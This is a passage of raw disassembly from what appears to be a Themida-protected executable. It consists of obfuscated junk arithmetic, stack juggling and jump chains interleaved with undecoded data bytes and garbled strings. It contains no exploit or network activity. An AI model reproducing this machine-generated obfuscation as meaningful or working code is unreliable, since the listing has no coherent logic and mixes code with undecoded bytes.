edx, 77D28D37h push esi mov esi, edx jmp loc_5A1F1A ; --------------------------------------------------------------------------- loc_5A8450: ; CODE XREF: Themida_:005A3D9Dj sub [esp+4], ecx jmp loc_5A765E ; --------------------------------------------------------------------------- loc_5A8459: ; CODE XREF: Themida_:005AC1ECj xor ebx, 73DA5DECh jl loc_5ACBC4 push edi jmp loc_59D351 ; --------------------------------------------------------------------------- db 8Bh dd 0C6C6242Ch db 0C0h ; --------------------------------------------------------------------------- loc_5A8471: ; CODE XREF: Themida_:005ADEEAj sub ecx, 37BE16E7h or ecx, 18961EEh or ecx, 2EBB7F5Dh jmp loc_5AC64A ; --------------------------------------------------------------------------- loc_5A8488: ; CODE XREF: Themida_:005A9C49j not ebp xor ebp, 3BE66E6Ah sub ebp, 3D9EF6FDh mov edx, ebp pop ebp jmp loc_5994AE ; --------------------------------------------------------------------------- loc_5A849E: ; CODE XREF: Themida_:005A8A96j shl dword ptr [edx+38h], 5 jmp loc_5AD346 ; --------------------------------------------------------------------------- loc_5A84A7: ; CODE XREF: Themida_:005A94CEj push eax push 922h mov [esp], ebx mov eax, [esp] push ecx mov ecx, esp add ecx, 4 push ebp mov ebp, 4E8A28E9h sub ebp, 2AF26C9Bh jp loc_59DBA5 jmp loc_5AAEB1 ; --------------------------------------------------------------------------- db 4Eh dd 8907EEC1h db 0FDh ; --------------------------------------------------------------------------- loc_5A84D9: ; CODE XREF: Themida_:005A8566j pop edx xchg ebx, [esp] mov esp, [esp] mov [esp], esi jmp loc_5A9930 ; --------------------------------------------------------------------------- loc_5A84E8: ; CODE XREF: Themida_:005A3F50j mov edx, [esp] push esi jmp loc_59E381 ; --------------------------------------------------------------------------- db 0C1h, 0E8h, 2 dd 0FF6A6BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A84F9: ; CODE XREF: Themida_:005A1C9Dj add esp, 4 pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], eax push 80h push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_59AE9E ; --------------------------------------------------------------------------- db 5Fh dd 0E7C1D7F7h, 0D1F78104h, 892F9853h, 13BF5FFAh, 813C2004h dd 0CE228DEFh, 41EEE967h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A853A: ; CODE XREF: Themida_:0059A097j push edx push 5691F604h pop edx xor ebx, edx jmp loc_5AECF3 ; --------------------------------------------------------------------------- loc_5A8548: ; CODE XREF: Themida_:005A2C15j xor ebx, 998AEF4Dh mov ebp, ebx pop ebx add ebp, 7B151F88h not ebp push 0 jmp loc_5A17AC ; --------------------------------------------------------------------------- loc_5A8563: ; CODE XREF: Themida_:0059E608j pop ecx sub ebx, edx jmp loc_5A84D9 ; --------------------------------------------------------------------------- loc_5A856B: ; CODE XREF: Themida_:00598FAAj push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_5AF8E2 ; --------------------------------------------------------------------------- loc_5A8579: ; CODE XREF: Themida_:005A894Aj ; Themida_:005AD9AEj add edi, esi pop esi jmp loc_59BDCC ; --------------------------------------------------------------------------- loc_5A8581: ; CODE XREF: Themida_:005A424Aj push 7493h mov [esp], eax mov eax, esp push 2B00h mov [esp], ebx mov ebx, 25D0578Dh jmp loc_5AB0CC ; --------------------------------------------------------------------------- loc_5A859D: ; CODE XREF: Themida_:005A16ABj mov ecx, ebx pop ebx or ecx, 339E56A4h sub ecx, 156A4AF9h and ecx, 6F3D5D42h jp loc_59E47E add ecx, 99EBEEC4h jmp loc_59EF59 ; --------------------------------------------------------------------------- db 8Bh dd 0AFE92424h, 81FFFF19h, 7DAB2404h, 815D72DDh, 0DD7DABEDh dd 241C8B72h, 5304C483h, 0B07523BBh, 5BDD314Ch, 2414F755h dd 0E668505Dh, 8900006Bh, 0A2BE2434h, 46433659h, 345C8B0Fh dd 0EEC1FFFFh, 8B97E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A860A: ; CODE XREF: Themida_:00598D14j add ebx, edi add ebx, 1C691E58h jmp loc_5AC70A ; --------------------------------------------------------------------------- loc_5A8617: ; CODE XREF: Themida_:00598F29j ; Themida_:005A5CF0j push dword ptr [esp+4] jmp loc_5A664D ; --------------------------------------------------------------------------- a5i db '5╘#╪',0 db 0E9h, 59h, 5Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A862A: ; CODE XREF: Themida_:005A8C96j sub edi, 348D12E4h add edi, ebp add edi, 348D12E4h pop ebp xchg edi, [esp] pop esp xchg edx, [esp] mov esp, [esp] push dword ptr [esp] jmp loc_59C30E ; --------------------------------------------------------------------------- db 89h dd 0D310E9E2h db 2 dup(0FFh) word_5A8652 dw 8B66h ; DATA XREF: Themida_:005986F0o dd 5452240Ch, 4EC835Ah, 0E9240489h, 0FFFF126Eh ; --------------------------------------------------------------------------- loc_5A8664: ; CODE XREF: Themida_:005AB0B6j push esi mov esi, 33495B20h jmp loc_5A884C ; --------------------------------------------------------------------------- loc_5A866F: ; CODE XREF: Themida_:0059E6D2j pop esp add edi, ecx push 1060h mov [esp], ebp sub esp, 4 mov [esp], esi push esp pop esi add esi, 4 push 40A8h mov [esp], eax jmp loc_5A8D77 ; --------------------------------------------------------------------------- loc_5A8698: ; CODE XREF: Themida_:005A0C0Bj ; Themida_:005AAB52j push dword ptr [esp] mov eax, [esp] jmp loc_5A35BC ; --------------------------------------------------------------------------- db 4Ah dd 541B850Fh, 814AFFFFh, 34BAFAC2h, 40FB8DEh db 0BDh, 0Bh ; --------------------------------------------------------------------------- loc_5A86B6: ; CODE XREF: Themida_:005A5F14j mov esi, 1E075B47h jmp loc_5ADC6D ; --------------------------------------------------------------------------- loc_5A86C0: ; CODE XREF: Themida_:005A498Ej push edi jmp loc_5AEBC4 ; --------------------------------------------------------------------------- dw 1C87h dd 24248B24h, 0FF2434FFh, 10E92434h db 40h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A86D7: ; CODE XREF: Themida_:0059ED0Ej add ebx, 1D175831h add ebx, 3BA31BD9h sub ebx, ebp jmp loc_59FB0C ; --------------------------------------------------------------------------- loc_5A86EA: ; CODE XREF: Themida_:005A0DFDj mov [esp], eax xchg edi, [esp] push edi jmp loc_5AF458 ; --------------------------------------------------------------------------- dw 1487h dd 8F545C24h, 0BD552404h, 23FE5683h, 765DC581h, 0CD816FFCh dd 252E29h, 0F04EDC1h, 9F98Bh, 64F6E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A871E: ; CODE XREF: Themida_:005A9AB7j and edi, 71331206h sub edi, 46ADDB31h sub ecx, 613246D4h sub ecx, edi add ecx, 613246D4h pop edi push edx mov edx, 0ED2333EBh jmp loc_5A778A ; --------------------------------------------------------------------------- loc_5A8744: ; CODE XREF: Themida_:005A63BCj sub ebx, 0D582F830h and edx, ebx mov ebx, [esp] add esp, 4 push 756Ch mov [esp], ecx mov ecx, 562C6ADAh xor edx, ecx jmp loc_5ABD78 ; --------------------------------------------------------------------------- loc_5A8769: ; CODE XREF: Themida_:0059C11Ej add esp, 4 sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] or eax, eax jz loc_59DB9D push dword ptr [edi+28h] push eax push 0B60h jmp loc_5A4266 ; --------------------------------------------------------------------------- loc_5A87A2: ; CODE XREF: Themida_:005A56FAj add esi, 1 push edi mov edi, 0B0391DCFh sub esi, edi pop edi jmp loc_59A93C ; --------------------------------------------------------------------------- dw 8358h dd 0FF5104C4h, 0FF042474h, 83592434h, 48F04C4h, 0FDF5E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A87CE: ; CODE XREF: Themida_:005AE11Bj jnp loc_5AFB0F jmp loc_59B164 ; --------------------------------------------------------------------------- db 5Eh, 83h, 0ECh dd 6EBEE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A87E2: ; CODE XREF: Themida_:005AE73Aj sub esp, 4 mov [esp], ebx jmp loc_5A7919 ; --------------------------------------------------------------------------- loc_5A87F0: ; CODE XREF: Themida_:005AF7D6j pop esp add edx, 198D4A71h jmp loc_5AE9B5 ; --------------------------------------------------------------------------- loc_5A87FC: ; CODE XREF: Themida_:005A5708j mov edi, 6F97239Fh push ebx jmp loc_59A4B7 ; --------------------------------------------------------------------------- db 5Bh dd 0FA393E2Dh, 5C82963h, 63FA393Eh, 0FF9732E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A8819: ; CODE XREF: Themida_:0059999Ej add ebx, esi jmp loc_5AA8EC ; --------------------------------------------------------------------------- loc_5A8820: ; CODE XREF: Themida_:005A428Ej push esi mov esi, 500D0F58h sub esp, 4 jmp loc_5A9F6C ; --------------------------------------------------------------------------- loc_5A882E: ; CODE XREF: Themida_:005A8EA3j xor ecx, edi pop edi push edx mov edx, 2CEB29FAh sub eax, edx jmp loc_5A2981 ; --------------------------------------------------------------------------- loc_5A883E: ; CODE XREF: Themida_:0059ABBFj add ecx, 4 add ecx, 4 jmp loc_59D9B7 ; --------------------------------------------------------------------------- loc_5A884C: ; CODE XREF: Themida_:005A866Aj xor esi, 0B4F227Bh or esi, 2D1E3EBBh jmp loc_5ACDCF ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 49BD5557h, 0E930DE2Fh, 0FFFF6540h ; --------------------------------------------------------------------------- loc_5A886C: ; CODE XREF: Themida_:0059961Bj push 6B93h mov [esp], esi mov esi, esp push edi mov edi, 4F921EF1h jmp loc_5A7E05 ; --------------------------------------------------------------------------- byte_5A8881 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0059882Co dd 4EC8124h, 89000000h, 8B542404h, 0C4832404h, 5AA56804h dd 1C890000h, 4BB24h, 92D0000h, 1096B6Eh, 0EC8357D8h, 24048904h dd 33764EB8h, 0E150BF06h, 0C72950B8h, 0BF78158h, 2D43EE05h dd 58576824h, 0E956F801h, 0FFFF2B57h ; --------------------------------------------------------------------------- loc_5A88D0: ; CODE XREF: Themida_:005A194Fj sub ecx, 0C1910FB7h jmp loc_5A9E95 ; --------------------------------------------------------------------------- loc_5A88DB: ; CODE XREF: Themida_:005A5A8Bj ; Themida_:005A796Fj pop esp mov [esp], ebx push ebp mov ebp, 2 mov ebx, ebp jmp loc_5A8AE0 ; --------------------------------------------------------------------------- loc_5A88EC: ; CODE XREF: Themida_:005AFB18j mov [esp], edi push dword ptr [esp+4] mov edi, [esp] jmp loc_5A6D48 ; --------------------------------------------------------------------------- loc_5A88FB: ; CODE XREF: Themida_:005AC224j push cx pushf jmp loc_5AE1B3 ; --------------------------------------------------------------------------- loc_5A8903: ; CODE XREF: Themida_:loc_5AD280j sub esp, 4 mov [esp], eax mov eax, 5F3B31CAh shl eax, 1 jmp loc_5A8DA2 ; --------------------------------------------------------------------------- loc_5A8915: ; CODE XREF: Themida_:0059F9DBj push 2E7Fh jmp loc_5A466C ; --------------------------------------------------------------------------- db 0FFh dd 59042474h, 5C24048Fh, 68243C89h, 1DECh, 54241C89h, 0FF0875E9h dd 30F130FFh, 0E34CE9CEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A8942: ; CODE XREF: Themida_:0059ED4Bj sub esi, ebp pop ebp mov edi, 0E0D7FFF7h jmp loc_5A8579 ; --------------------------------------------------------------------------- db 45h dd 0FBC7C581h, 0EA31D648h, 0FF5ACFE9h, 0E97FB6FFh, 0FFFF9666h ; --------------------------------------------------------------------------- loc_5A8964: ; CODE XREF: Themida_:0059E3A3j add esp, 4 push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_59F5FD ; --------------------------------------------------------------------------- loc_5A897E: ; CODE XREF: Themida_:005A394Ej mov edx, 34CE41F2h add ebx, edx pop edx push 1B7Eh mov [esp], ecx jmp loc_5AA8D6 ; --------------------------------------------------------------------------- loc_5A8993: ; CODE XREF: Themida_:005A97FFj push edi mov edi, 535A3417h jmp loc_5A30D9 ; --------------------------------------------------------------------------- loc_5A899E: ; CODE XREF: Themida_:005AECD2j pop esp push edi mov edi, 430B6150h add edi, 0FFFFFFFFh push edi xchg ebp, [esp] jmp loc_5A114E ; --------------------------------------------------------------------------- loc_5A89B1: ; CODE XREF: Themida_:005A5359j or ebp, 340C2D94h xor ebp, 3D6A4AB6h add ecx, 14350F77h sub ecx, 0D961A3Bh sub ecx, ebp add ecx, 0D961A3Bh sub ecx, 14350F77h pop ebp jmp loc_59A6C5 ; --------------------------------------------------------------------------- loc_5A89DD: ; CODE XREF: Themida_:005A6022j mov ebp, [esp] add esp, 4 xchg edi, [esp] mov esp, [esp] xor ebp, [esp] jmp loc_59E248 ; --------------------------------------------------------------------------- loc_5A89F4: ; CODE XREF: Themida_:005AB512j add ebp, 4 push edx mov edx, 4 sub ebp, 1F097EF7h add ebp, edx add ebp, 1F097EF7h pop edx xchg ebp, [esp] jmp loc_59BC30 ; --------------------------------------------------------------------------- loc_5A8A17: ; CODE XREF: Themida_:005A3D80j add esp, 4 neg esi or esi, 74882515h add esi, 532317Ah xor ecx, esi pop esi push esi jmp loc_59B8EB ; --------------------------------------------------------------------------- loc_5A8A34: ; CODE XREF: Themida_:005A93FEj inc ebp jg loc_5A77C4 jmp loc_5A223B ; --------------------------------------------------------------------------- dd 589CF281h db 14h, 54h, 58h ; --------------------------------------------------------------------------- loc_5A8A47: ; CODE XREF: Themida_:0059ABD3j push dword ptr [esp] pop eax push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx jmp loc_5ADCA2 ; --------------------------------------------------------------------------- loc_5A8A63: ; CODE XREF: Themida_:005A3250j ; DATA XREF: Themida_:005988B0o mov ax, [esp] jmp loc_59EA63 ; --------------------------------------------------------------------------- dd 80F2E680h, 8A0FC2CEh, 0FFFF58BEh, 75E9D6F6h, 8B000065h db 0D3h, 34h, 40h ; --------------------------------------------------------------------------- loc_5A8A83: ; CODE XREF: Themida_:0059FDBBj inc ecx jnp loc_5AF8E2 jmp loc_59B00B ; --------------------------------------------------------------------------- loc_5A8A8F: ; CODE XREF: Themida_:005AB870j or dword ptr [edx+38h], 43762E44h jnb loc_5A849E shl dword ptr [edx+38h], 5 jmp loc_5A256D ; --------------------------------------------------------------------------- db 50h, 8Bh, 0D2h dd 6B8B0F55h, 45FFFFF1h, 31AF8F0Fh, 0B850FFFFh, 1, 0FF7ECDE9h db 0FFh, 58h, 59h ; --------------------------------------------------------------------------- loc_5A8AC3: ; CODE XREF: Themida_:005A53B3j xchg ecx, [esp] pop esp mov [esp], bx push edx mov dl, 56h push ecx push ebx jmp loc_5A5ABF ; --------------------------------------------------------------------------- loc_5A8AD5: ; CODE XREF: Themida_:005AC0AFj push edx mov edx, 78320882h jmp loc_5A0A99 ; --------------------------------------------------------------------------- loc_5A8AE0: ; CODE XREF: Themida_:005A88E7j pop ebp add ecx, ebx mov ebx, [esp] add esp, 4 jmp loc_5AC36B ; --------------------------------------------------------------------------- loc_5A8AF1: ; CODE XREF: Themida_:0059A22Aj pop edi jmp loc_5AE85E ; --------------------------------------------------------------------------- db 87h dd 87D5F7EFh, 0D3C781EFh, 813FD652h, 4348DAEFh, 8BFE2975h dd 0C483243Ch, 21A2E904h, 9EB00000h, 5CE9C8FEh, 5FFFF28h dd 4, 405h, 24048700h, 0FFE6B0E9h, 4C483FFh, 4C481h, 0E9550000h dd 285Fh, 45B4850Fh, 0C1E90000h, 52000003h, 28836851h dd 515901E5h, 802BC980h, 0CA00CFF1h, 5AD40859h, 8800C480h dd 0CD8058E5h, 0E9EDD02Ah, 0FFFF7899h, 4A6AE945h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A8B76: ; CODE XREF: Themida_:005AAD20j add esp, 4 jmp loc_5A74FF ; --------------------------------------------------------------------------- db 55h, 57h, 0E9h dd 0FFFFB2FFh, 2E850F42h, 0C1FFFFA9h, 840F04EAh, 0FFFFB766h db 0B3h, 0DAh, 57h ; --------------------------------------------------------------------------- loc_5A8B9B: ; CODE XREF: Themida_:005A25F1j add esp, 4 movzx eax, al jmp loc_59F8F2 ; --------------------------------------------------------------------------- loc_5A8BA9: ; CODE XREF: Themida_:005A6D36j pop ebp add esp, 4 loc_5A8BB0: ; CODE XREF: Themida_:0059A393j push 59F7h mov [esp], ecx push eax mov eax, 3E732A59h sub eax, 330A7263h xor eax, 621B3647h jmp loc_5A9804 ; --------------------------------------------------------------------------- loc_5A8BCD: ; CODE XREF: Themida_:005ACCD6j neg ebx dec ebx neg ebx jnb loc_5A1C0B jmp loc_59DCF2 ; --------------------------------------------------------------------------- loc_5A8BDD: ; CODE XREF: Themida_:005AF2CFj not ebx xor ebx, 5DCF7AC2h jo loc_5A6F42 add ebx, 662674F9h xor ebx, 0E1DB7EFDh push ebx jmp loc_5AAC11 ; --------------------------------------------------------------------------- loc_5A8BFD: ; CODE XREF: Themida_:005A7804j mov ecx, esi jmp loc_5A94ED ; --------------------------------------------------------------------------- loc_5A8C04: ; CODE XREF: Themida_:005AE9C2j push edx push ecx mov ecx, 23CE588Ch push ebx mov ebx, 10F5AA11h mov edx, ebx pop ebx add edx, ecx jmp loc_5AD527 ; --------------------------------------------------------------------------- loc_5A8C1B: ; CODE XREF: Themida_:005AEA77j mov ebp, ebx jmp loc_5A1FF3 ; --------------------------------------------------------------------------- loc_5A8C22: ; CODE XREF: Themida_:005A1C7Ej ; Themida_:005A21BFj push ebx jmp loc_5A9107 ; --------------------------------------------------------------------------- dd 0F681D6F7h, 4CC30AEAh, 3E4C8C0Fh, 63E90000h, 57FFFF6Ch dd 5AD0E780h ; --------------------------------------------------------------------------- loc_5A8C40: ; CODE XREF: Themida_:005ADDE6j push 1DA0h mov [esp], esi jmp loc_59BFB5 ; --------------------------------------------------------------------------- loc_5A8C4D: ; CODE XREF: Themida_:005A7CA8j or eax, edi pop edi shr eax, 5 sub eax, 1 xor eax, 766B4455h add edi, eax pop eax push ebx mov ebx, 0FE3563Fh add edi, ebx pop ebx sub edi, 35F8666Ch push dword ptr [esp] pop eax sub esp, 4 mov [esp], eax mov eax, esp jmp loc_5A3719 ; --------------------------------------------------------------------------- dw 860Fh dd 0FFFF8415h, 0CE2CC581h, 6C2918D9h, 0DF8B0424h db 53h ; --------------------------------------------------------------------------- loc_5A8C91: ; CODE XREF: Themida_:0059E57Bj mov ebp, 4 jmp loc_5A862A ; --------------------------------------------------------------------------- loc_5A8C9B: ; CODE XREF: Themida_:005A0B1Ej xor ch, 0C6h sub al, 0A4h sub al, ch add al, 0A4h jmp loc_5A0272 ; --------------------------------------------------------------------------- loc_5A8CA9: ; CODE XREF: Themida_:0059AF5Ej pop esp mov ebx, [esp] jmp loc_5A69AE ; --------------------------------------------------------------------------- loc_5A8CB2: ; CODE XREF: Themida_:005AF389j push edi push edx mov edx, 2D634804h mov edi, 61665F4h jmp loc_5AB28F ; --------------------------------------------------------------------------- loc_5A8CC3: ; CODE XREF: Themida_:0059AEE5j push ebp mov ebp, 7FB70AB4h sub ebx, 676F6408h add ebx, ebp add ebx, 676F6408h mov ebp, [esp] add esp, 4 jmp loc_5A737C ; --------------------------------------------------------------------------- db 5Ch, 89h, 2Ch dd 0E0E95224h db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A8CEF: ; CODE XREF: Themida_:loc_5A0180j dec edx jns loc_59B754 sub edx, 0FFFFFFFFh sub edx, 65B9A54h mov ecx, edx pop edx mov bl, ch push edx loc_5A8D05: ; CODE XREF: Themida_:005A327Dj pop ebx jmp loc_5AAF83 ; --------------------------------------------------------------------------- loc_5A8D0B: ; CODE XREF: Themida_:0059C599j and edi, 4E8C53A5h xor edi, 0DF6AB455h jmp loc_599944 ; --------------------------------------------------------------------------- loc_5A8D1C: ; CODE XREF: Themida_:0059F608j add [esp], eax add dword ptr [esp], 136F2CB3h push ebp jmp loc_5AC950 ; --------------------------------------------------------------------------- aZssf db 'ZSИД',27h,0 db 0 ; --------------------------------------------------------------------------- loc_5A8D33: ; CODE XREF: Themida_:005A62DDj pop eax pop dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 xor esi, eax xor eax, esi xor esi, eax push 494Dh mov [esp], eax push 4100h mov [esp], esi push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 pop esi jmp loc_5ABDDC ; --------------------------------------------------------------------------- loc_5A8D77: ; CODE XREF: Themida_:005A8693j push ebx push 3EFA0F7Ch pop ebx add ebx, 31D579C0h shr ebx, 4 jnz loc_5A8E0E not ebx sub ebx, 0F8F30768h jmp loc_5A8F51 ; --------------------------------------------------------------------------- dw 0C8Bh aS_8 db '$И╦*',0 align 2 loc_5A8DA2: ; CODE XREF: Themida_:005A8910j add eax, 7EF74A17h sub edx, eax mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], edi jmp loc_5A413B ; --------------------------------------------------------------------------- loc_5A8DBD: ; CODE XREF: Themida_:0059933Bj jz loc_5ACD2C add bh, 0DEh mov dl, bh jmp loc_5AB66B ; --------------------------------------------------------------------------- loc_5A8DCD: ; CODE XREF: Themida_:005AD6BAj pop esi push ebx push dword ptr [esp+4] jmp loc_5994E7 ; --------------------------------------------------------------------------- loc_5A8DD8: ; CODE XREF: Themida_:005AE54Bj jmp loc_5A3B70 ; --------------------------------------------------------------------------- db 5Eh, 31h, 0CFh dd 0FFDD70E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A8DE5: ; CODE XREF: Themida_:0059D756j add dword ptr [esp], 4 pop edi add edi, 4 add edi, 4 xchg edi, [esp] pop esp push eax mov eax, 471C1E27h sub [esp+8], eax pop eax sub [esp+4], eax jmp loc_5A980A ; --------------------------------------------------------------------------- loc_5A8E0E: ; CODE XREF: Themida_:005A8D87j not ebx sub ebx, 0F8F30768h jmp loc_5AD230 ; --------------------------------------------------------------------------- loc_5A8E1B: ; CODE XREF: Themida_:0059AF96j sub esp, 4 mov [esp], ebp push esp jmp loc_59C552 ; --------------------------------------------------------------------------- loc_5A8E27: ; CODE XREF: Themida_:005ACE28j pop eax add bl, al push 7D58h mov [esp], ecx mov ch, 9Bh push 302Ah mov [esp], edx push eax jmp loc_598F0C ; --------------------------------------------------------------------------- loc_5A8E42: ; CODE XREF: Themida_:005A8F64j xor ebp, 4E0F5DDEh inc ebp shr ebp, 5 xor ebp, 53436D2Dh jo loc_59F424 jmp loc_5ACBA9 ; --------------------------------------------------------------------------- loc_5A8E5D: ; CODE XREF: Themida_:0059BB99j mov ecx, ebx pop ebx pop edx sub ebp, 459C637Ch add ebp, ecx add ebp, 459C637Ch mov ecx, [esp] push ebx push esp pop ebx jmp loc_59F5D8 ; --------------------------------------------------------------------------- loc_5A8E7A: ; CODE XREF: Themida_:005ABE5Bj mov esi, [esp] jmp loc_5A0ED4 ; --------------------------------------------------------------------------- aBPGxP db '│б▐;gX)йP╦╟',0 dw 59A6h dd 0FF3E18E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A8E95: ; CODE XREF: Themida_:005A6152j pop edx inc edi add edi, 0B3A40BCh add edi, 51FF336Bh jmp loc_5A882E ; --------------------------------------------------------------------------- loc_5A8EA8: ; CODE XREF: Themida_:00599D96j mov ecx, esp push ebp mov ebp, 4 add ecx, ebp jmp loc_59F2AB ; --------------------------------------------------------------------------- loc_5A8EB7: ; CODE XREF: Themida_:0059CA3Fj pop eax jmp loc_5ADE34 ; --------------------------------------------------------------------------- loc_5A8EBD: ; CODE XREF: Themida_:005ABE09j sub edx, 47EE0FBFh sub edx, 5D2B7F12h jl loc_5A9358 or edx, 7A82E57h jz loc_5A6126 xor al, 0BFh pop ebp loc_5A8EDE: ; CODE XREF: Themida_:005A38F4j pop ecx xor ecx, 420B016Eh push esi mov esi, 1F6D0184h sub esi, 0E508E1E5h sub ecx, esi pop esi push eax mov eax, 72083861h not eax jmp loc_59D40D ; --------------------------------------------------------------------------- loc_5A8F01: ; CODE XREF: Themida_:005A1CEBj ; Themida_:005AB87Dj sub ebx, ebp pop ebp add ebx, edx push ecx jmp loc_5A8027 ; --------------------------------------------------------------------------- loc_5A8F0C: ; CODE XREF: Themida_:005A6BD7j xor ebp, 0FA58E764h jmp loc_5A0D61 ; --------------------------------------------------------------------------- loc_5A8F17: ; CODE XREF: Themida_:005A1D65j add esp, 4 push eax push edi jmp loc_59CF62 ; --------------------------------------------------------------------------- byte_5A8F21 db 0FFh, 32h, 0E9h ; DATA XREF: Themida_:005988E8o dd 0FFFEFA7Bh, 3E00BA52h, 0C2816163h, 1AA8C577h, 0FF244BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A8F39: ; CODE XREF: Themida_:005A460Bj mov [esp], ebp push ecx mov ecx, 382D4099h mov ebp, 2AA03B41h xor ebp, ecx mov ecx, [esp] jmp loc_5A7BB1 ; --------------------------------------------------------------------------- loc_5A8F51: ; CODE XREF: Themida_:005A1F88j ; Themida_:005A8D95j xor ebp, ecx mov ecx, [esp] add esp, 4 neg ebp jns loc_5A01E9 jmp loc_5A8E42 ; --------------------------------------------------------------------------- db 35h, 72h, 17h dd 632D70A6h, 9072EF7h, 0F78158C7h, 6FB826ABh, 0E677840Fh dd 0EFD1FFFFh, 0D32D850Fh, 0CF81FFFFh, 152627D7h, 5004EFC1h dd 8359D888h, 1CE904C4h, 29FFFF9Dh, 24048BC1h, 104C483h dd 240C8BCBh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5A39F4 ; --------------------------------------------------------------------------- loc_5A8FB4: ; CODE XREF: Themida_:005ACDFEj add dword ptr [esp], 4 pop ebp push ecx push eax mov eax, 4 mov ecx, eax pop eax add ebp, ecx jmp loc_59DFF3 ; --------------------------------------------------------------------------- dw 0DCF6h dd 5231CC80h, 0FF8F81E9h, 405FFh, 0CBE90000h, 0B9000040h dd 4, 5759C801h, 0B951E789h, 793D449Eh, 0FF28D5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A8FF5: ; CODE XREF: Themida_:005ADD77j push cx pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- db 1, 0F9h, 0E9h dd 0FFFF8316h ; --------------------------------------------------------------------------- loc_5A9004: ; CODE XREF: Themida_:005A9184j sub eax, 0A8A7B8Dh add ebx, eax pop eax jmp loc_5A0747 ; --------------------------------------------------------------------------- db 0E9h, 5, 7Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A9016: ; CODE XREF: Themida_:005A26AAj push edx mov edx, 530785Eh jmp loc_5A2CCC ; --------------------------------------------------------------------------- loc_5A9021: ; CODE XREF: Themida_:0059F14Aj mov ebp, [esp] add esp, 4 shr esi, 3 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_5A3CCC ; --------------------------------------------------------------------------- loc_5A903E: ; CODE XREF: Themida_:0059F29Ej push dword ptr [esp+4] mov esi, [esp] jmp loc_5A2B51 ; --------------------------------------------------------------------------- dw 13BAh dd 0E92D8849h, 0FFFF08E2h ; --------------------------------------------------------------------------- loc_5A9054: ; CODE XREF: Themida_:00599DF2j ; Themida_:0059CFB9j add cl, 0E9h add cl, dh sub cl, 0E9h pop edx dec cl and cl, 1Bh dec cl sub esp, 2 mov [esp], bx mov bh, 88h sub cl, bh pop bx add bl, cl pop ecx sub bl, al push eax mov eax, esp add eax, 4 push esi mov esi, 4 jmp loc_59E025 ; --------------------------------------------------------------------------- loc_5A908C: ; CODE XREF: Themida_:00598BF2j ; Themida_:005A2CA2j ... push eax mov al, dh jmp loc_5AC063 ; --------------------------------------------------------------------------- loc_5A9094: ; CODE XREF: Themida_:005A217Aj push ebp push 0B2F08F0Ah pop ebp add ecx, ebp pop ebp not ecx push ebp jmp loc_5A0C82 ; --------------------------------------------------------------------------- loc_5A90A6: ; CODE XREF: Themida_:005A5A78j ; Themida_:005AEA99j xor ebx, 0F7EC166Dh push ebp jmp loc_5ADFE3 ; --------------------------------------------------------------------------- loc_5A90B2: ; CODE XREF: Themida_:005A95EFj mov esi, [esp] push ebx mov ebx, esp push ebp jmp loc_5A21D2 ; --------------------------------------------------------------------------- loc_5A90BE: ; CODE XREF: Themida_:005ADD6Ej mov ecx, edx jmp loc_5AD4D9 ; --------------------------------------------------------------------------- aYsa db 'YИМ^',0 db 0 ; --------------------------------------------------------------------------- loc_5A90CB: ; CODE XREF: Themida_:005A9891j mov eax, 0B5E307Ch push esi mov esi, 5ECA6CA9h jmp loc_59AFDF ; --------------------------------------------------------------------------- loc_5A90DB: ; CODE XREF: Themida_:005A2D9Dj pop edx sub ecx, 571B63A7h sub ecx, 66D90B6Ah sub ecx, 24E81C09h add ecx, edi add ecx, 24E81C09h add ecx, 66D90B6Ah add ecx, 571B63A7h jmp loc_5A91ED ; --------------------------------------------------------------------------- loc_5A9107: ; CODE XREF: Themida_:005A8C23j mov ebx, 0 push ebx jmp loc_5AA911 ; --------------------------------------------------------------------------- dw 5CE9h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A9117: ; CODE XREF: Themida_:005A1CBCj pop edx sub al, bl sub al, 98h add al, 61h mov bx, [esp] push edi push esp pop edi add edi, 4 jmp loc_5AB43A ; --------------------------------------------------------------------------- dword_5A9130 dd 0FF2434FFh, 48B2434h, 2DFBE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A913E: ; CODE XREF: Themida_:0059BFE3j add ebx, 18FE5BE2h add ebx, 42430800h jmp loc_5A3DA2 ; --------------------------------------------------------------------------- loc_5A914F: ; CODE XREF: Themida_:0059D56Bj not edi push eax mov eax, 5F2A59DFh jmp loc_5AEC3C ; --------------------------------------------------------------------------- dd 310BF381h, 0BF5714C8h, 0F7B7DADCh, 315FFB01h, 0F9EFE9DDh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5A9172: ; CODE XREF: Themida_:005A08CDj push edi 